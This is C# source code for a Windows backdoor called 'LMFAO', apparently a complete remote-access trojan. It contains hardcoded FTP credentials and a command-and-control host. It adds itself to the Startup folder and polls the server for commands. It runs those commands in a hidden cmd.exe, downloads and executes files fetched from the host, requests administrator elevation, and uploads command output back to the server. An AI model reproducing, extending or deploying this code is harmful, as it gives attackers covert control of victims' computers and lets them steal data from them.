using System;
using System.Windows.Forms;
using System.IO;
using System.Net;
using System.Threading;
using System.Diagnostics;
using System.Security.Principal;
using System.Reflection;

namespace LMFAO
{
    static class Program
    {

        public static string ftpUsername = "1884973";
        public static string ftpPassword = "1472580a";
        public static string id = generateId().ToString();
        public static bool start = false;
        public static string host = "filezprox.atwebpages.com";

        static void killTheCat()
        {

            runCmd("del *.txt");
            runCmd("del" + Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\start.bat");

        }

        static void startup()
        {

            try
            {

                if (!start)
                {

                    if (!File.Exists("id.txt"))
                    {

                        File.WriteAllText("id.txt", id);

                    }

                    if (!File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\start.bat"))
                    {

                        File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\start.bat", "START " + Assembly.GetEntryAssembly().Location);

                    }

                    id = File.ReadAllText("id.txt");

                    if (IsAdministrator())
                    {

                        File.WriteAllText("output.txt", "Elevation successful");
                        sendOutput();

                    }

                    clearCmd(id);
                }
            }
            catch
            {



            }

        }

        /// <summary>
        /// The main entry point for the application.
        /// </summary>
        [STAThread]
        public static void Main()
        {

            startup();

            long auth = 24893408877439348;
            auth.ToString();

            bool kill = false;
            while (!kill)
            {

                try
                {
                    getMail(ftpUsername, ftpPassword, id);
                }
                catch
                {

                }

                string[] lines = File.ReadAllLines("cmd.txt");
                try
                {
                    switch (lines[0])
                    {

                        case "cmd":
                            runCmd(lines[1]);
                            clearCmd(id);
                            sendOutput();
                            break;

                        case "kill":
                            kill = true;
                            clearCmd(id);
                            break;

                        case "ruthere":
                            handshake();
                            clearCmd(id);
                            break;
                        case "ktc":
                            clearCmd(id);
                            sendToMaster("bye!");
                            killTheCat();
                            kill = true;
                            break;

                        case "ps":
                            File.WriteAllText("output.txt", "Not available yet.");
                            sendOutput();
                            clearCmd(id);
                            break;

                        case "download":
                            using (var client = new WebClient())
                            {
                                try
                                {

                                    client.DownloadFile(lines[1], lines[2]);

                                }
                                catch (Exception ex)
                                {

                                    File.WriteAllText("output.txt", ex.Message);
                                    sendOutput();

                                }

                            }
                            clearCmd(id);
                            break;

                        case "update":
                            updateProgram("http://" + host + "/LMFAO/LMFAO.exe");
                            clearCmd(id);
                            kill = true;
                            break;

                        case "elevate":
                            getAdmin();
                            kill = true;
                            clearCmd(id);
                            break;

                        case "msg":
                            MessageBox.Show(lines[1]);
                            clearCmd(id);
                            break;

                        default:
                            if (File.Exists("output.txt"))
                            {
                                sendOutput();
                                File.Delete("output.txt");
                            }
                            break;


                    }

                }

                catch (IndexOutOfRangeException)
                {



                }


                Thread.Sleep(1000);

            }

        }

        static int generateId()
        {

            Random rnd = new Random(Guid.NewGuid().GetHashCode());

            return rnd.Next(100000, 1000000);

        }

        static bool IsAdministrator()
        {

            WindowsIdentity identity = WindowsIdentity.GetCurrent();
            WindowsPrincipal principal = new WindowsPrincipal(identity);
            return principal.IsInRole(WindowsBuiltInRole.Administrator);

        }

        static void getAdmin()
        {

            var exeName = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
            ProcessStartInfo startInfo = new ProcessStartInfo(exeName);
            startInfo.Verb = "runas";
            Process.Start(startInfo);
            return;

        }

        static void updateProgram(string url)
        {
            string fileid = generateId().ToString();

            using (var client = new WebClient())
            {
                try
                {

                    client.DownloadFile(url, fileid + ".exe");

                }
                catch
                {

                }
            }

            Process.Start(fileid + ".exe");

        }

        static void sendOutput()
        {

            WebClient client = new WebClient();

            client.Credentials = new NetworkCredential(ftpUsername, ftpPassword);

            try
            {

                FileStream fs = new FileStream("cmd.txt", FileMode.Create);
                fs.Flush();
                fs.Close();

                client.UploadFile("ftp://" + host + "/LMFAO/" + id + ".output.txt", "output.txt");

            }

            catch (IOException)
            {



            }

        }

        static void handshake()
        {

            WebClient client = new WebClient();

            client.Credentials = new NetworkCredential(ftpUsername, ftpPassword);

            try
            {

                File.WriteAllText("output.txt", "Yes !");

                client.UploadFile("ftp://" + host + "/LMFAO/" + id + ".output.txt", "cmd.txt");

            }

            catch (IOException)
            {



            }

        }

        static void sendToMaster(string msg)
        {

            File.WriteAllText("msg.txt", msg);

            WebClient client = new WebClient();

            client.Credentials = new NetworkCredential(ftpUsername, ftpPassword);

            try
            {

                FileStream fs = new FileStream("cmd.txt", FileMode.Create);
                fs.Flush();
                fs.Close();

                client.UploadFile("ftp://" + host + "/LMFAO/" + id + ".output.txt", "msg.txt");

            }

            catch (IOException)
            {



            }

        }

        static void clearCmd(string id)
        {

            WebClient client = new WebClient();

            client.Credentials = new NetworkCredential(ftpUsername, ftpPassword);

            try
            {

                FileStream fs = new FileStream("cmd.txt", FileMode.Create);
                fs.Flush();
                fs.Close();

                client.UploadFile("ftp://" + host + "/LMFAO/" + id + ".cmd.txt", "cmd.txt");

            }

            catch (IOException)
            {



            }

        }

        public static void getMail(string ftpUsername, string ftpPassword, string id)
        {

            try
            {

                WebClient client = new WebClient();

                client.Credentials = new NetworkCredential(ftpUsername, ftpPassword);
                client.DownloadFile("ftp://" + host + "/LMFAO/" + id + ".cmd.txt", "cmd.txt");

            }

            catch
            {

            }
        }

        public static void runCmd(string command)
        {

            File.WriteAllText("output.txt", "");
            Process process = new Process();
            ProcessStartInfo startInfo = new ProcessStartInfo();
            startInfo.WindowStyle = ProcessWindowStyle.Hidden;
            startInfo.FileName = "cmd.exe";
            startInfo.Arguments = "/C " + command;
            process.StartInfo = startInfo;
            process.Start();

        }
    }
}